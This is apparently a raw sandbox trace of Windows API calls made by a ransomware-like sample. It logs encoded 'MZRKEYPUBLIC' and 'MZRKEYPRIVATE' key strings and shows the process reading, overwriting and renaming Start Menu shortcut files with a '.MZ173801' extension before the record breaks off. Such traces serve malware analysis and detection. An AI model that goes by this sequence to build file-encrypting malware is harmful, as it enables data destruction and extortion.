lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.726] GetCurrentThreadId () returned 0xab4 [0213.726] GetCurrentThreadId () returned 0xab4 [0213.726] GetCurrentThreadId () returned 0xab4 [0213.726] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.726] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.726] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.726] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x450 [0213.726] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.726] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x450, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x450, lpOverlapped=0x0) returned 1 [0213.730] CloseHandle (hObject=0x330) returned 1 [0213.730] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.732] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x450, lpOverlapped=0x0) returned 1 [0213.733] CloseHandle (hObject=0x330) returned 1 [0213.733] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk.mz173801")) returned 1 [0213.733] GetCurrentThreadId () returned 0xab4 [0213.733] GetCurrentThreadId () returned 0xab4 [0213.734] GetCurrentThreadId () returned 0xab4 [0213.734] GetCurrentThreadId () returned 0xab4 [0213.734] GetCurrentThreadId () returned 0xab4 [0213.734] GetCurrentThreadId () returned 0xab4 [0213.734] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8822b6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8822b6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c8822b6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Print Management.lnk", cAlternateFileName="")) returned 1 [0213.734] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.734] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.734] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8822b6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8822b6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c8822b6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45e)) returned 1 [0213.794] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk")) returned 0x20 [0213.794] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk", dwFileAttributes=0x80) returned 1 [0213.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.797] GetCurrentThreadId () returned 0xab4 [0213.797] GetCurrentThreadId () returned 0xab4 [0213.797] GetCurrentThreadId () returned 0xab4 [0213.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.797] GetCurrentThreadId () returned 0xab4 [0213.798] GetCurrentThreadId () returned 0xab4 [0213.798] GetCurrentThreadId () returned 0xab4 [0213.798] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.798] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.798] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.798] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 